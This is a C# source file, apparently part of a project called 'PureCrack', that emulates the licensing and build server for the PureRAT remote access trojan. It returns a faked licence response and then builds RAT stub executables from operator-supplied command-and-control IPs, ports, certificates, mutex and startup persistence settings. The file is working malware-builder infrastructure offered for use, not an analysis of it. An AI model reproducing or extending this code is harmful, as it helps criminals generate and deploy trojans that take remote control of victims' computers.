Files

174 lines
5.0 KiB
C#
Raw Permalink Normal View History

2026-08-27 10:56:38 -06:00
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using PureCrack.Build;
using PureCrack.Util;
using PureCrack.Wire;
namespace PureCrack.Relay;
public sealed class RouteHandlers
{
private sealed class BuildSettings
{
public List<string> Ips { get; init; } = new List<string>();
public List<int> Ports { get; init; } = new List<int>();
public string? CertBase64 { get; init; }
public string? Group { get; init; }
public string? PanelPfxBase64 { get; init; }
public string? StartupName { get; init; }
public string? StartupEnv { get; init; }
public string? Mutex { get; init; }
}
private readonly byte[] _cannedCompile;
public byte[] ValidatePb { get; }
public RouteHandlers(byte[] agentPfxBytes, byte[] cannedCompileResponse)
{
ValidatePb = BuildValidateResponse(agentPfxBytes);
_cannedCompile = cannedCompileResponse;
}
private static byte[] BuildValidateResponse(byte[] agentPfxBytes)
{
string s = Convert.ToBase64String(agentPfxBytes);
byte[] body = ProtoNet.FSub(7, ProtoNet.FString(2, s));
byte[] body2 = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FString(3, ""), ProtoNet.FString(5, ""), ProtoNet.FString(7, "PureRAT v4.0 - any-key mode"), ProtoNet.FString(9, "Welcome!"), ProtoNet.FSub(10, body), ProtoNet.FString(11, "HWID Changes: 1 of 9999 used"), ProtoNet.FString(12, ""), ProtoNet.FString(13, "Expires in 9999 days"));
return ProtoNet.FSub(2, body2);
}
public byte[] Compile(byte[]? plaintext, bool dynamicBuildEnabled)
{
if (plaintext != null && dynamicBuildEnabled)
{
try
{
byte[] array = BuildDynamic(plaintext);
if (array != null)
{
return array;
}
}
catch (Exception ex)
{
Log.Err("dyn-build failed: " + ex.Message);
}
Log.Warn("falling back to canned /compile response");
}
return _cannedCompile;
}
private static byte[]? BuildDynamic(byte[] plaintext)
{
BuildSettings buildSettings = ExtractBuildSettings(plaintext);
if (buildSettings.Ips.Count == 0 || buildSettings.Ports.Count == 0)
{
Log.Warn("dyn-build: panel did not include IPs/Ports — using canned");
return null;
}
string text = ((!string.IsNullOrEmpty(buildSettings.PanelPfxBase64)) ? buildSettings.PanelPfxBase64 : buildSettings.CertBase64);
BuildConfig buildConfig = new BuildConfig
{
Ips = buildSettings.Ips,
Ports = buildSettings.Ports,
CertPfxBase64 = (text ?? ""),
Group = (buildSettings.Group ?? "Default"),
Mutex = (buildSettings.Mutex ?? "purecrack-default"),
StartupName = (buildSettings.StartupName ?? ""),
StartupEnv = (buildSettings.StartupEnv ?? "")
};
Log.Info("dyn-build: ips=[" + string.Join(",", buildConfig.Ips) + "] ports=[" + string.Join(",", buildConfig.Ports) + "] group=" + buildConfig.Group + " mutex=" + buildConfig.Mutex);
byte[] array = StubBuilder.Build(buildConfig);
string arg = DateTime.Now.ToString("yyyyMMdd_HHmmss");
string text2 = Path.Combine(Workspace.StubsDir, $"stub_{arg}_{Process.GetCurrentProcess().Id}.exe");
File.WriteAllBytes(text2, array);
Log.Ok($"dyn-build: wrote {array.Length:N0}b stub to {text2}");
byte[] body = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FBytes(3, array), ProtoNet.FString(5, ""), ProtoNet.FInt(6, 1L));
return ProtoNet.FSub(4, body);
}
private static BuildSettings ExtractBuildSettings(byte[] plaintext)
{
BuildSettings result = new BuildSettings();
try
{
byte[] array = ProtoNet.FirstSub(ProtoNet.Parse(plaintext), 3);
if (array == null)
{
return result;
}
byte[] array2 = ProtoNet.FirstSub(ProtoNet.Parse(array), 5);
if (array2 == null)
{
return result;
}
byte[] array3 = ProtoNet.FirstSub(ProtoNet.Parse(array2), 9);
if (array3 == null)
{
return result;
}
Dictionary<int, List<ProtoValue>> parsed = ProtoNet.Parse(array3);
return new BuildSettings
{
Ips = ProtoNet.GetStrings(parsed, 1),
Ports = ConvertToInts(ProtoNet.GetInts(parsed, 2)),
CertBase64 = ProtoNet.FirstString(parsed, 3),
Group = ProtoNet.FirstString(parsed, 4, "Default"),
PanelPfxBase64 = ProtoNet.FirstString(parsed, 10),
StartupName = ProtoNet.FirstString(parsed, 11),
StartupEnv = ProtoNet.FirstString(parsed, 12),
Mutex = ProtoNet.FirstString(parsed, 14, "purecrack-default")
};
}
catch (Exception ex)
{
Log.Warn("extract: parse err: " + ex.Message);
return result;
}
}
private static List<int> ConvertToInts(List<long> longs)
{
List<int> list = new List<int>(longs.Count);
foreach (long @long in longs)
{
list.Add((int)@long);
}
return list;
}
public static byte[] AckResponse()
{
return ProtoNet.FSub(2, ProtoNet.FInt(1, 1L));
}
private static byte[] Concat(params byte[][] chunks)
{
int num = 0;
byte[][] array = chunks;
foreach (byte[] array2 in array)
{
num += array2.Length;
}
byte[] array3 = new byte[num];
int num2 = 0;
array = chunks;
foreach (byte[] array4 in array)
{
Buffer.BlockCopy(array4, 0, array3, num2, array4.Length);
num2 += array4.Length;
}
return array3;
}
}